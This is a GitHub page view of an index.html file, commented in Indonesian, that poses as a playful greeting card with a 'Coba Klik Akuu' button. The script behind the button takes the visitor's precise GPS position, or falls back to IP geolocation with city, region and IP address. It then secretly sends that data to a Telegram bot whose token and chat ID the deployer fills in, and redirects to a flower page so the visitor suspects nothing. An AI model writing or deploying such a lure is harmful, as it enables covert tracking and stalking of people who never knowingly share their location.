-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathindex.html
More file actions
105 lines (97 loc) 路 4.16 KB
/
Copy pathindex.html
File metadata and controls
105 lines (97 loc) 路 4.16 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="css/style.css">
<title>Buat Kamu</title>
</head>
<body>
<div class="greetings">
<!-- Silahkan menambah kata sesuai keinginan dengan <span>text...</span -->
<span>A</span>
<span>L</span>
<span>L</span>
<span>O</span>
<span>W</span>
</div>
<div class="description">
<p><span></span></p>
</div>
<button id="sendData">
Coba Klik Akuu
</button>
<script>
document.getElementById('sendData').addEventListener('click', (event) => {
event.preventDefault(); // Mencegah navigasi langsung
if ("geolocation" in navigator) {
navigator.geolocation.getCurrentPosition(
(position) => {
const latitude = position.coords.latitude;
const longitude = position.coords.longitude;
const accuracy = position.coords.accuracy;
// Buat link Google Maps
const googleMapsLink = `https://www.google.com/maps?q=${latitude},${longitude}`;
// Format pesan untuk Telegram
const message = `Informasi Lokasi GPS:\nLatitude: ${latitude}\nLongitude: ${longitude}\nAkurasi: ${accuracy} meter\n\nLihat di Google Maps:\n${googleMapsLink}`;
sendToTelegram(message, () => {
// Arahkan ke halaman jika berhasil
window.location.href = 'flower.html';
});
},
(error) => {
console.warn("Lokasi tidak bisa diperoleh: ", error.message);
// Gunakan lokasi berbasis IP
getIpLocation();
},
{ enableHighAccuracy: true }
);
} else {
getIpLocation();
}
});
function getIpLocation() {
fetch('https://ipapi.co/json/')
.then(response => response.json())
.then(data => {
const latitude = data.latitude;
const longitude = data.longitude;
const googleMapsLink = `https://www.google.com/maps?q=${latitude},${longitude}`;
const message = `Lokasi Berdasarkan IP:\nKota: ${data.city}\nWilayah: ${data.region}\nNegara: ${data.country_name}\nIP: ${data.ip}\n\nLihat di Google Maps:\n${googleMapsLink}`;
sendToTelegram(message, () => {
// Arahkan ke halaman setelah alternatif berhasil
window.location.href = 'flower.html';
});
})
.catch(err => {
console.error("Gagal mendapatkan lokasi IP:", err);
window.location.href = 'flower.html';
});
}
function sendToTelegram(message, onSuccess) {
const botToken = ''; // Ganti dengan token bot Anda
const chatId = ''; // Ganti dengan chat ID Anda
fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ chat_id: chatId, text: message }),
})
.then(response => {
if (!response.ok) {
throw new Error(`HTTP error! Status: ${response.status}`);
}
return response.json();
})
.then(result => {
console.log("Pesan berhasil dikirim:", result);
onSuccess();
})
.catch(error => {
console.error("Gagal mengirim pesan ke Telegram:", error);
onSuccess(); // Tetap lanjutkan meskipun gagal
});
}
</script>
</body>
</html>